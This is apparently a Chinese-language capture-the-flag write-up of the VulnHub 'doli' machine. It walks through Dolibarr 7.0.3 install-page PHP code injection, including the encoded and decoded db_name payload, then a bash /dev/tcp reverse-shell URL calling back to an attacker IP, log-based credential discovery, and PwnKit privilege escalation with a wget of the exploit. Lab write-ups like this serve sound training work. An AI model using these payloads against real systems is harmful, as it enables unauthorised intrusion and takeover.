doli:1
博客原地址:https://www.cnblogs.com/hirak0/articles/18116116
项目地址:https://download.vulnhub.com/doli/doli-vulnhub-fixed.ova(环境有问题)
是一个打包好的镜像文件
注意:导入 vmx 时一定要选择我已移动,否则没网
使用 Nmap 扫描出开放服务及操作系统版本
1 | ┌──(root㉿MYsec)-[/home/hirak0/Vulhub/105] |
RCE
Dolibarr ERP/CRM 7.0.3(CVE-2018-25357)
访问 80 端口啥也没有

将 doli.thm 加进 hosts 文件里,使用 BurpSuite 爆破出子域名 erp.doli.thm

目录扫描
1 | ┌──(root㉿MYsec)-[/home/hirak0/Vulhub/105] |
访问 document.php 文件是登录页面

下面是文件内容
1 | User-agent: * |
根据靶机提示 ERP/CRM 与靶机名 doli 聚合搜索一下看

Kali 本地搜索 7.0.x 版本的漏洞
1 | Dolibarr ERP/CRM 7.0.0 - (Authenticated) SQL Injection | php/webapps/44805.txt |
这里我们使用第二个直接拿 Shell,其核心原因在于 Dolibarr 在安装过程中对用户输入过滤不严格,导致攻击者可以注入恶意PHP代码
访问 http://erp.doli.thm/install/Seth.php?testget=ok

这里得先把 Kali 中的 MySQL 启用,在配置一下远程访问
然后再去配置一下 doli

点击下一步时开启抓包

修改 db_name 参数里面的值
1 | db_name=x%5C%27%3Bsystem(%24_GET%5Bcmd%5D)%3B%2F%2F |
Payload 解码就是 x\';system($_GET[cmd]);//
Send 后响应内容如图所示则说明注入成功了

现在我们再访问一下 http://erp.doli.thm/install/Brian.php 会发现自动跳转到 http://erp.doli.thm/install/Seth.php?testget=ok
做一下命令执行看看

直接反弹 Shell
1 | http://erp.doli.thm/install/Seth.php?cmd=bash+-c+%27bash+-i+%3E%26+/dev/tcp/192.168.10.148/6666+0%3E%261%27 |
提权
Python 升级为交互式 Shell
1 | python -c 'import pty;pty.spawn("/bin/bash")' |
敏感信息泄露
OPT 目录中有一个图片
1 | www-data@Doli:/opt$ ls |
下载下来提示是 Cirix 编码

在 Nginx 的日志文件中发现一个特殊请求
1 | www-data@Doli:/var/log/nginx/.bk$ ls -al |
解密成功拿到密码

提权成功
1 | ┌──(root㉿MYsec)-[/home/hirak0/Vulhub/105] |
PwnKit(CVE-2021-4034)
将脚本上传至靶机即可
漏洞根源是 pkexec 在处理命令行参数时的一个逻辑缺陷
参数与环境的特殊布局:在 Linux 中,通过
execve()系统调用执行程序时,命令行参数(argv)和环境变量(envp)在内存中是连续存放的漏洞触发条件:正常情况下,执行程序的
argc(参数个数)至少为 1(即程序本身)。但如果攻击者调用execve()时,将参数数组argv设置为空,那么argc就为0错误的参数读取:有漏洞的
pkexec在处理argc=0的情况时,会错误地尝试从argv[0](一个不存在的参数)读取数据越界读取与利用:由于内存布局连续,
argv[0]的位置实际上指向了第一个环境变量(envp[0])的内容。pkexec会把环境变量的值误当作命令来执行“偷梁换柱”:攻击者只需精心构造环境变量,使其内容指向一个由他们控制的、恶意代码组成的共享库。
pkexec在运行时,就会”上当”去执行这个环境变量”指示”的命令,从而加载并运行攻击者的恶意代码
1 | c3p0@Doli:~$ wget http://192.168.10.148:8888/CVE-2021-4034.py |